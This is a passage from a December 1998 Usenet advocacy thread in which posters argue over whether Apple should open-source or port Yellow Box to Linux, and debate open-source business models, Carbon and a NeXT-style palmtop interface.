Apple give "the Linux community" something it paid $400 million for? Do
you think that Linux users would suddenly start buying Macs instead of
commodity PCs at half the price as a sign of gratitude for Apple having
given away their future? None of the Linux users I know would do such a
thing.
Now, before you get your panties all in a bunch, let me say that I love
Linux. I would love to have Yellow Box running on Linux in virtually any
form, especially a form not encumbered by Apple. I don't trust Apple any
farther than I can kick Steve Jobs down a flight of stairs. I have a
bunch of business plans which give me the willies because I can not
assume that Apple won't kill Yellow Box in a fit of pique tommorrow
stranding my company. (I don't believe that will happen, but releaseing
MOSXS would be a good sign.)
Even with all that desire for YB on Linux, I can not think of a single
good reason for Apple to OpenSource YB. First of all there are a variety
of licensed/patented parts in there which Apple could not give away. The
LZW compression in GIFs and TIFFs comes to mind. Second, Apple might
have some income based on selling YB consulting and support, but they are
not organized as a consulting organization. I do not think that Apple
could support itself on that kind of revenue. Third, I think that no new
hardware sales would be generated from this move. Most Linux users are
Intle-based, so porting YB to x86 would be instantaneous. Why should I
buy an Apple PowerMac to run YB/Linux when an x86 box is half the price
and nearly as fast? Can you get a dual CPU PowerMac with 5 PCI slots and
Ultra2SCSI on the motherboard? No? You can get an ASUS P2B-DS for about
$300 plus components.
My other concern is that Yellow Box cross platform sucess revolves around
a few key technologies, which would probably be lost under Linux. YB
uses a cross-compiling gcc and special features of the MachO format to
make fat binaries under Mach. NeXT used this to single files containing
the binaries for Intel, m68k, sparc, and HP PA-RISC computers running their
MachOS. Apple is doing the same thing for PPC and Intel. YB for Windows
uses the native executable format as would the Linux port (OpenSource of
not). ELF does not permit this same "fat binary" trick as far as I know,
so multi-CPU executables go by the wayside.
More to the point, YB cross-platform works because it is carefully
constructed with platform independance in mind. Only a few modules have
machine dependence. It all works because of rigorous attention to detail
and testing on all supported platforms. This could be accomplished in an
OpenSource project, but what usually happens is, "It works of my box.
Yours must be broken." Fragmentation of the libraries is almost
inevitable, and then what have we gained? What has Apple gained for this
effort?
>As it is right now, Apple is slowly fading into computer history.
>Yeah, it may sell a bazillian iMacs but Apple is d-e-a-d as we know
>it. It's just twiching a bit as the life drains out of it. Now, there
>are a few ways for Apple to get itself out of that prediciment.
>
>1. become a post-pc company and provide gizmoes for the Home Area
>Network
>2. Get bought by someone, like Sun or 3Com, who wants to get into the
>Home Area Network biz.
>3. Open source Yellow Box, or OpenStep or the upperlevels of OSX.
>Apple thrives with #3 because suddenly they're at the center of the
>computing world again. (Would yellow box allow for Mac software to run
>on Linux?) Apple provides or ports its apps and tech to Linux and
>makes a huge amount of money selling support, apps and hardware (I'm
>under the impression that it's fairly easy for Linux on Mac hardware
>to run apps that also run on PC hardware...that would solve one of
>Apple's problems in one fell swoop!) Linux gets a foothold into the
>sensitive-poney-tail-man graphic designer set and Apple, well, doesn't
>go out of business.
Wrong on all counts. Linux does not get a "foothold in the
sensitive-ponytailed-man garphics" community because those people are all
running MacOS. Why do they run MacOS? Because that is what they like
and that is where Adobe Photoshop, Quark Xpress, and Avid run. Did I
mention that all of these apps run under WinNT just fine, but none of
them are Yellow Box nor have *any* Linux plans?
I believe that I've already covered the hardware issue. Linux gets
ported to (a) what people have, or (b) what's cool and fast. Mac
hardware today is neither for most people. LinuxPPC is nice and all, but
how many of the 7 million Linux seats (and developers) does it represent?
>Best of all, Apple pretty much just has to sit there (outside of
>porting the apps, which I know might cause them to break a sweat.) So
>they can keep being apathic, but at least they make money and get
>their self-respect back (Ie, cut the cords to Redmond.)
I don't know what "apps" you are refering to. Apple has no application
base under their direct control. There are the apps owned by the Apple
subsidiaries Claris and FileMaker, which are all MacOS Toolbox programs.
They have no Yellow Box applications to sell other than WebObjects and
the development tools.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Message-ID: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net>
References: <jayfar-0812981005000001@ppp117.blackbox1-mfs.netaxs.com> <Macghod-0812981213390001@1cust115.tnt2.santa-barbara.ca.da.uu.net> <critic-0912981219350001@p49-max4.akl.ihug.co.nz>
Organization: Obsidian
Date: Tue, 08 Dec 1998 18:24:35 -0800
NNTP-Posting-Date: Tue, 08 Dec 1998 18:23:54 PDT
This thread reminds of something I thought of back in winter 96-97; how
suited a modification of the NeXT UI would be for a palmtop. A small,
verticle menu in one corner; click (tap) an item and the menu items change
to those submenu (and on the left of the whole thing is a 'back' button
which allows you to navigate back up the menu hierarchy). And the whole
thing would be collapsable, too, so it just shrinks up to a little tab
labled "menu" or some such. Something like the NeXT file browser would
also be very space-efficient, using a similar system; the root dir appears
as a single column in list view, with a blank column to the right of that.
Click a dir in the root, and that appears in the right column. Click a dir
in the right column and the left column slides out of the screen/window,
the right column slides into the left, and the new dir appears in the
right. Click another dir... etc. To go back a directory, click the
selected dir in the left column, the right column will empty and the rest
will slide over one space to the right. Along the bottom would be a Shelf
for commonly-used files and apps.
Other usefull apps would be: a notepad, which would function just like the
normal MacOS notepad except it accepts images sketched onto it to, plus
text written on it can be angled, etc (I assume that they would have a
sufficiently advanced graphics layer to do that), and it would have save,
revert, etc... features like a normal text editor. An address book, which
functions similarly to the notepad in it's page-turning system, but
instead of just a place to jot down stuff it would have dedicated rows and
columns for different entries. An emailer/newsreader, for email and news,
which would be navigated through a File Browser-style system, with the
bottom half of the screen dedicated to your messages. And a web browser,
for browsing the web. Perhaps, if the hardware was properly suited, pager
and telephony apps; the pager app would simply display a pager display (a
simple alphanumeric box) and allow you to send pages as well, and the
telephony app would operate the phone hardware, and display the number
you're connected to.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: sdm7g@elvis.med.Virginia.EDU (Steven D. Majewski)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 8 Dec 1998 21:53:06 GMT
Organization: University of Virginia
Message-ID: <74k742$1fk$1@murdoch.acc.Virginia.EDU>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net> <366D5941.F16608B5@ericsson.com> <F3nxuJ.IzF@T-FCN.Net>
In article <F3nxuJ.IzF@T-FCN.Net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>
> What I was referring to is OpenSource as a development systemology.
>OpenSource has basically one successful product, Linux. Prior to that
>there have been a wide variety of open source projects that went nowhere.
This is simply not true.
What is true is that there have been many open source success stories,
but they tend to be 'geeky', i.e. developer or server oriented rather
than user or client oriented - examples: compilers like gcc, languages
like python or perl, graphics frameworks like Tk, internet
infrastructure servers like BIND and sendmail and apache.
( And, while maybe not as widely used as the above, scientific apps
like NIH-Image on the Mac, or XlispStat are certainly very successful
solutions for their users and better than many commercial products. )
What is true is that open source solutions haven't (yet?) proved capable
of delivering mass market, easy-to-use, shrink wrapped solutions to
the user.
>There have been a wide variety that have gone nowhere after it too.
Agreed -- but that's the nature of a market driven approach like
open source. There have also been a lot of commercial products
that have failed. The difference is which market is being served.
Commercial products tend to fail after spending millions of development
dollars for something it turns out no one wants. ( Maybe folks OUGHT
to want a better solution, but due to network effects, no one wants
to take a chance unless the benefits clearly and significantly outweigh
the risks of getting stranded in a technological dead end. )
Open Source failures may also be common, but they are less costly.
Not only is debugging massivley parallel -- pace Eric S. Raymond's
"with enough eyeballs, all bugs are transparent" -- but market
research is masively parallel. ( I think esr also said that all
successful open source projects start with someone "scratching an
itch" -- i.e. it is a tool or solution to a real problem, not a
product in search of a market. )
>OpenSource have not proven itself to work in a general way.
I also agree with that statement, but I'ld insert a "yet" and
declare myself an agnostic about whether it will prove generally
effective. However, I think it has proved effective for system
plumbing type projects which is what's under discussion.
> Thus claiming that if Apple OpenSourced the OS it would suddenly be
>successful is premature. The whole field needs more time to work before
>anyone will have any sort of predicitve powers about what will happen if
>you open software.
>
>> Saying that Open Source could save Apple is premature. Saying that Apple
>> needs saving is not.
I would *not* argue that Apple should immediately Open Source it's OS,
Yellow Box, and other code. I would argue that Linux and OpenSource
present both an enourmous opportunity for Apple, and an enourmous
danger. They need to be thinking about how to handle this -- I think
their response could make or break the company. I wouldn't want then
to step into another disaster like their clone licenses -- which looked
to be a net money looser -- but here, I think the danger of sitting
still is greater than the danger of doing too much.
I think the long term trend -- no matter what either Apple or Microsoft
do in the short term -- is towards commoditization of the OS and low level
"plumbing" , and making money from "value added", integration, support
and branding. Apple is probably in a better position than Microsoft to
ride this trend if they can figure it out. Without knowing the details
that only Apple Management knows about costs and revenue and cash flow,
it would be hard to map out the best response, but Apple needs to fear
"too little and too late" .
---| Steven D. Majewski (804-982-0831) <sdm7g@Virginia.EDU> |---
---| Department of Molecular Physiology and Biological Physics |---
---| University of Virginia Health Sciences Center |---
---| P.O. Box 10011 Charlottesville, VA 22906-0011 |---
Boies cautioned Judge Jackson that Microsoft will attempt to portray these
meetings as the work of Microsoft employees with "important titles" who
"weren't really executives." <http://www.ipmag.com/dailies/981020.html>
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 9 Dec 1998 05:13:36 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74l0u0$i44@news1.panix.com>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet>
On Tue, 8 Dec 1998 16:57:00 -0800, jedi@dementia.mishnet
<jedi@dementia.mishnet> wrote:
> OpenSourcing key user level components
> allows there to be a bridge from the PC
> to the Mac with little in terms of cost
> incurred to Apple.
What motivation does anyone have to cross the bridge?
If I could run YB on Linux at no cost, I can not think of anything that
is going to get me to buy Apple hardware. If running YB on Mac hardware
was more cost effective than running it on PC hardware, then I might be
much more motivated to buy a Mac.
> Grannies are still going to be pushed into
> buying PCs (along with the rest of the market)
> for the same reasons they always have.
It looks like a fair number of grannies are buying iMacs.
YB runtime for Windows
ships) the best platforms would be Solaris and HP/UX. As it stands now,
FoundationKit, WOF and EOF all run on Solaris and HP/UX (they come with
WebObjects for those platforms). Building a full YB on those platforms,
currently used by existing WO customers, makes a lot more sense to me
than starting a port on Linux.
>Other commercial platforms - port if the platform owner picks up the
>tab.
That would eliminate all other platforms. Do you think Sun would pay
Apple to port a product that would compete with it's Java plans just
to get a few Apps ported?
> Wrt. YB for Windows, start charging MS for the port when Windows'
>market share has become insignicant. :-)
Don't count MS out yet.
>Of course, there always is the option of releasing YB source code to
>the wider audiences accompanied with a well-thought-out Apple Public
>Licence and let everyone work it out themselves whether YB would help
>their platforms. YB-Java tie-in might help them make up their minds.
I can't think of any commercial product that grew market share by going
OpenSource.
####################################################################
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yet Another Open Source YB Conspiracy Theory (tm)
Date: 9 Dec 1998 05:21:06 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74l1c2$i65@news1.panix.com>
References: <1djo3pk.1k7d61y1x5to6gN@port1-139.nordnet.fr> <74h6mj$f2j$1@your.mother.com> <74id46$cvu$1@news.digifix.com> <74jgqe$gfj$1@nnrp03.primenet.com>
On 8 Dec 1998 15:32:30 GMT, John Jensen <jjens@primenet.com> wrote:
>If it is Adobe, and this really isn't a money thing, and if they really
>want to "kill" DPS .... what's their motivation?
To prevent people from being able to print PS to a non PS printer with
full PS image quality and full PS language compatibility.
Adobe makes a ton of money selling rips and on sales of PS printers.
ldon Gartner <a1050pi@yahoo.com> wrote:
>>>If Apple were to make YB (or OpenStep or the OSX upper level stuff)
>>>open source and provide it to the Linux community, that would make
>>>Apple's future viable again. Otherwise, they're goose is cooked.
>>a. What is it that Apple would be selling to run their business ?
>1. Support
Apple isn't even remotely set up to do this. If Apple were to do this it
would undoubtedly incur a significant restructuring charge.
>2. Hardware
I doubt it. Most people who are buying machines to run Linux build those
machines themselves from ultra cheap commodity hardware. (But to be fair,
I do know one guy who runs OpenBSD on an Alpha as his primary machine and
has an iMac.) I think I am the only member of Linux NY that is running
only machines that I've bought preassembled.
>3. Apps
Other than WebObjects? What Apps?
>>b. If Apple sold YB for Linux like Oracle is providing its
>> database (not open source), would that be a better business
>> model ?
>Wouldn't work. That just be setting up Linux to be DOS for Steve Job's
>new empire.
I doubt it. Why is it that if Oracle sells software for Linux it is
support Linux, but if Apple does the same it is trying to create a
stranglehold?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 9 Dec 1998 05:21:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74l1bv$i65@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net>
On Tue, 08 Dec 1998 17:51:59 GMT, Sheldon Gartner <a1050pi@yahoo.com> wrote:
>Doing that is the only thing that stands between Apple and oblivion.
>They still have time to be the Netscape of Linux.
The problem is that even Netscape isn't the Netscape of Linux.
Making NS opensource has not helped Netscape gain market share.
>No. It'd have to be open source to get any momentum on Linux, I
>suspect.
Prior to being opensourced, Netscape had a large following on
Linux. The only thing that changed after was that a number of
opensource browser projects were killed due to lack of interest.
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Tue, 08 Dec 1998 22:36:29 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0812982236290001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Regarding the idea of yellow box for Linux.
1) Yellow box isn't going to be free. Licences have to be paid, probably
$20. Linux users don't like paying for software. Not only because they are
CHEAP, but there seems to be some principle involved not paying for
software.
2) Linux will soon have WindowMaker which will use display ghostscript.
Although you will not be able to simply recompile code for GNUStep, the
frameworks will be similar enough to make porting relatively easy.
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<74l1br$i65@news1.panix.com>
Message-ID: <H_ob2.599$L52.167@news.rdc1.ne.home.com>
Date: Wed, 09 Dec 1998 06:43:51 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 22:43:51 PDT
Organization: @Home Network
In <74l1br$i65@news1.panix.com> Sal Denaro wrote:-
> I doubt it. Most people who are buying machines to run Linux build those
> machines themselves from ultra cheap commodity hardware. (But to be fair,
> I do know one guy who runs OpenBSD on an Alpha as his primary machine and
> has an iMac.) I think I am the only member of Linux NY that is running
> only machines that I've bought preassembled. -
Preassembled machines save you time at the expense of being able to pick and
choose your components. They also cost more and benchmark worse than a well
thought out machine you built yourself. I wouldn't ride a motorcycle I
didn't build, part of the fun is the work, and the satisfaction that knowing
the end result was the fruit of your ideas and labor, and the same holds true
for my computers. Half the fun is building one, and then when it performs
better than your expectations it is much more gratifying than if it was some
box you bought from Gateway IMHO. Just an observation. I don't think you
can make a blanket statement that people on linux boxes are using budget
equipment, my home set up blows away anything anyone I know has, and I bet a
lot of linux/unix users are the same way about their boxen.
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 08 Dec 1998 22:52:12 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0812982252120001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com>
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> What's the most fundamental principle of economics?
>
> -Chuck
>
Action has purpose.
However the first principle in business is make a profit |-). YB will have
a licencing fee (due to technologies apple doesn't own) so there will be no
free YB software for linux and linux users hate paying for software. They
prefer to do things the hard way.
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
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<74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news>
Message-ID: <D5pb2.600$L52.166@news.rdc1.ne.home.com>
Date: Wed, 09 Dec 1998 06:51:15 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 22:51:15 PDT
Organization: @Home Network
In <anarkhos-ya02408000R0812982236290001@news> strobe wrote:
> 2) Linux will soon have WindowMaker which will use display ghostscript.
> Although you will not be able to simply recompile code for GNUStep, the
> frameworks will be similar enough to make porting relatively easy.
Window Maker has been around for quite some time, and while it is the de
facto window manager for GNUstep, has absolutely nothing to do with nor is
dependent upon DGS.
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 08 Dec 1998 22:57:10 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0812982257100001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <smileyy-0712982013190001@209.50.122.242>
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> More target platforms for YB -> more developers of software for YB -> more
> software availability for Mac OS -> more Apple boxes sold.
>
> Whether it would work out? Who knows.
>
Everybody knows, only a few people are honest with themselves. People
who use Linux are not the type to pay for software, or YB licences. If you
want easy, pay for your development tools and productivity apps. You want
cheap, do it the hard way. OpenStep developers are used to this, Linux
users are like scrooges looking in the candy store window.
Message-ID: <366E230B.549068DF@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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NNTP-Posting-Date: Wed, 09 Dec 1998 02:10:18 EDT
Date: Tue, 08 Dec 1998 23:13:15 -0800
strobe wrote:
* * What's the most fundamental principle of economics?
* * -Chuck
* Action has purpose.
Bollocks.
* However the first principle in business is make a profit |-).
Once again, bollocks, and this answer has nothing to do with
Charles' question.
* YB will have a licencing fee (due to technologies apple doesn't
own)
Which technologies that Apple doesn't own?
* so there will be no free YB software for linux
Non sequitur . . .
* and linux users hate paying for software.
Let them eat Free BSD.
* They prefer to do things the hard way.
That's why they're using Linux. If they really want to do things
the hard way they should move to Windows 95.
........ Henry
--
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<anarkhos-ya02408000R0812982257100001@news>
Message-ID: <Dipb2.601$L52.156@news.rdc1.ne.home.com>
Date: Wed, 09 Dec 1998 07:05:07 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 23:05:07 PDT
Organization: @Home Network
In <anarkhos-ya02408000R0812982257100001@news> strobe wrote:
> Everybody knows, only a few people are honest with themselves. People
> who use Linux are not the type to pay for software, or YB licences. If you
> want easy, pay for your development tools and productivity apps. You want
> cheap, do it the hard way. OpenStep developers are used to this, Linux
> users are like scrooges looking in the candy store window.-
Only because there is so much excellent free software in linux. I am willing
to pay for apps in Openstep that I would get the same quality or better free
in linux, simply because there are no alternatives in Openstep. I'm not
about to buy software in linux when I can get such excellent apps freely.
You can't compare apples and oranges. It depends on the app. Would I pay
for a Mac OS X Server port of Mozilla? Yes. If linux Netscape was no longer
freely available, would I pay for a registered version? No, because the
minute Netscape announced they would be charging individual users for the
software several projects would spring up to bring a quality www browser to
the platform free for individual use, and one or more of the projects would
end up producing just that. Such is the nature of free software.
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 08 Dec 1998 23:32:45 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0812982332450001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com>
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> Now, if (hypothetical) this Slashdot poll revealed that 8000 out of 10K
> responding would use YB for Linux, but would not use YB on MOXS, that would
> suggest to Apple that there's a large potential market.
>
Retake that poll asking Linux users if they would be prepared to pay $20
licence fee, not a penny of which Apple would see. Also I'd hate to point
out the obvious, but if they said they "would not use YB on MOXS" then why
the hell would Apple do this? Gee, let's spend loads of money making candy
for Linux users. Nothing you have said suggests "there's a large potential
market" here.
Message-ID: <366E28DA.7541CD0B@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news>
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NNTP-Posting-Date: Wed, 09 Dec 1998 02:35:22 EDT
Date: Tue, 08 Dec 1998 23:38:02 -0800
strobe wrote:
* Regarding the idea of yellow box for Linux.
* 1) Yellow box isn't going to be free.
Where do you get your information from? You have a private and
personal conduit into Apple these days?
* Licences have to be paid, probably $20.
Which Licenses? Where do you get your numbers from?
* Linux users don't like paying for software. Not only because
* they are CHEAP, but there seems to be some principle involved
* not paying for software.
The hacker mentality that doesn't comprehend the basic concepts of
business. Oh, I see --- you're at one of them there University
places. The twentieth-century equivalent of patronage. Everything is
free, as long as you don't actually have to make a living . . . And,
unlike the Apple engineer blokes, you never have to deliver a working
product by a specified date within a specified budget to specified
performance specifications. Try pulling your thumb out sometime.
If and when you ever get out of the pigpen, let me know how you'll
pay the rent or mortgage and support yourself working for no money.
* 2) Linux will soon have WindowMaker which will use display
* ghostscript.
I'm awaiting this millennial development, although I'm still hacking
away with Java on Windows NT --- we have three really neat apps
going out the door even as we discuss how great GnuStep and GnuDGS
will be some time in the next century.
* Although you will not be able to simply recompile code for
GNUStep,
* the frameworks will be similar enough to make porting relatively
easy.
Well, that's encouraging --- my lady friend who wishes to create a
presentation just has to download the GCC environment and spend a week
recompiling and so on, and then has to explain why the presentation
was only a couple of months late . . . In the meantime, the client
who had expected the presentation by Friday has moved on . . .
........ Henry
--
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 9 Dec 1998 07:43:41 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <74l9nd$j1t$1@remarQ.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net>
In article <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net>,
Sheldon Gartner <a1050pi@yahoo.com> wrote:
>>There's no driving need for YB to be open source. It's a pretty
>>high quality set of code as it is, and Apple/NeXT is fairly good
>>about moving it forward. (Though it would be nice to have the
>>ditched kits open sourced.)
>
>No. It'd have to be open source to get any momentum on Linux, I
>suspect.
Why? There are, or could be, plenty of shrink-wrapped binary
applications for Linux--Oracle, for example. There's no reason
open source and non-open source models can't coexist on the
same platform.
I suppose Apple could give away the YB runtime and sell the
development tools. For a sufficiently low price, of course.
Plus do things like WebObjects or do server things that don't
require much of a UI.
--
Don McGregor | "It's Clintonism without the sincerity."
mcgredo@mbay.net |
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Business case for OpenCarbon
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References: <366DC928.16F3@bellatlantic.net>
Message-ID: <EWpb2.1189$f97.1320@news.rdc1.sdca.home.com>
Date: Wed, 09 Dec 1998 07:47:48 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 23:47:48 PDT
Organization: @Home Network
In <366DC928.16F3@bellatlantic.net> "Jeffrey S. Dutky" wrote:
[snip OS market analysis]
> What the Linux community SHOULD be pushing for, rather than a YB
> ported to Linux, is some support for porting Carbon to Linux. This
> would be good both for Linux and for Apple. It would instantly
> increase the potential market for any application ported to Carbon,
> and it would open up a huge software base to Linux users.
>
>
[snip OpenSource BusinessCase for the new Macintosh "Carbon" codebase]
Apple going OPENSOURCE with only their "Carbon" API's is too little.
Carbon, IIRC, are _only_ new calls implemented for the Macintosh OS to
replace old, crufty 16bit leftover stuff from the Mac's early days. Carbon
refers to the set of replacement calls for older programs that enable
existing Macintosh applications to recompile to newer 32bit OSes.
Recompiles using Carbon API's amount to an hour's work for older Macintosh
programs.
OPENSOURCE is a reasonable proposition for both the Linux community and
Apple to consider in growing their "client" userbase. OPENSOURCE both the
Mac API's + Carbon API's could accomplish just that for both parties. Linux
desktop users would effectively link their desktop interests on the "client"
side with those of Macintosh users.
Big Picture issues I envision from such an OpenCarbon proposition are
impacts on Linux's "server" space, code development, resource fragmentation
and technology sharing agreements. There exists a possible future YB
scenario of Linux "open" desktops upgrading to Apple "proprietary" MacOS X
desktops.
These side-effects are possible positive developments in the Linux
community. Linux with choices, cross-over options to an O-O development
environment, a modern desktop upgrade path, etc...
